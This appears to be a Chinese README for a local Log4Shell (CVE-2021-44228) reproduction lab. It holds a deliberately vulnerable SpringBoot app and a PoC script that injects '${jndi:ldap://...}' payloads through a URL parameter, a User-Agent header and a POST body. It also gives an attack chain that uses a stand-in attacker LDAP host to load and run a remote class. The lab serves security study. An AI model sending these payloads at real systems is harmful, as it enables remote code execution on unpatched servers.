
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
⚠️ 免责声明:本项目仅供安全学习与技术研究使用,所有漏洞环境均在本地搭建,未对任何真实目标进行测试。请勿用于非法用途,使用本项目的风险由使用者自行承担。
Log4j2 是 Java 生态最广泛使用的日志框架。它有一个 Lookup 功能,允许在日志中用 ${...} 语法插入动态内容。在 2.14.1 及以下版本中,当日志内容出现 ${jndi:...} 时,Log4j2 会自动向指定地址发起 JNDI 请求,攻击者可借此实现远程代码执行(RCE)。
该漏洞编号 CVE-2021-44228,CVSS 评分 10.0(满分),触发条件极简单,影响几乎所有使用 Log4j2 的 Java 应用,利用成本极低。
前置要求:JDK 8+、Maven、Python 3、requests 库
第一步:启动漏洞靶场
用 IDEA 打开项目,运行 VulnApplication.java,看到以下输出表示启动成功:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
第二步:运行 PoC 脚本
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
通过 URL 参数注入 payload,触发 logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
通过 HTTP 请求头注入 payload,触发 logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
通过 POST 请求体注入 payload,触发 logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] 收到连接!来自 127.0.0.1:51631
[+] 漏洞确认!Log4j2 发起了 JNDI 请求
[+] CVE-2021-44228 复现成功
监听端收到来自靶场的 TCP 连接,说明 Log4j2 解析了 ${jndi:...} 并发起了 LDAP 请求,漏洞确认存在。
Log4j2 的 Lookup 功能允许在日志中使用 ${...} 语法插入动态内容,例如 ${env:PATH} 读取环境变量、${sys:user.dir} 读取系统属性。
JNDI(Java Naming and Directory Interface)是 Java 的命名与目录接口,给它一个地址,它就去查找并返回结果。如果返回的是一个 Java 类,JVM 会自动加载并执行它。
① 攻击者在输入框填写:${jndi:ldap://攻击者IP:1389/EvilClass}
↓
② 网站收到输入,用 logger.info() 打日志
↓
③ Log4j2 解析日志内容,发现 ${jndi:ldap://...}
↓
④ Log4j2 发起 LDAP 请求 → 连接到攻击者服务器
↓
⑤ 攻击者的 LDAP 服务器返回:"去这个地址下载 EvilClass.class"
↓
⑥ 受害服务器下载并加载 EvilClass 类
↓
⑦ EvilClass 的 static 代码块自动执行 → RCE(远程代码执行)
-Dlog4j2.formatMsgNoLookups=true${jndi: 的请求log4j2-vuln-lab/
├── pom.xml # Maven 配置,指定 Log4j2 2.14.1 漏洞版本
├── exploit/
│ └── exploit.py # PoC 利用脚本,3 个攻击向量 + TCP 监听验证
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # SpringBoot 启动类
│ └── controller/
│ └── UserController.java # 3 个漏洞注入点(GET参数/UA头/POST体)
└── resources/
├── application.yml # 端口号 + 日志级别配置
└── log4j2.xml # Log4j2 配置文件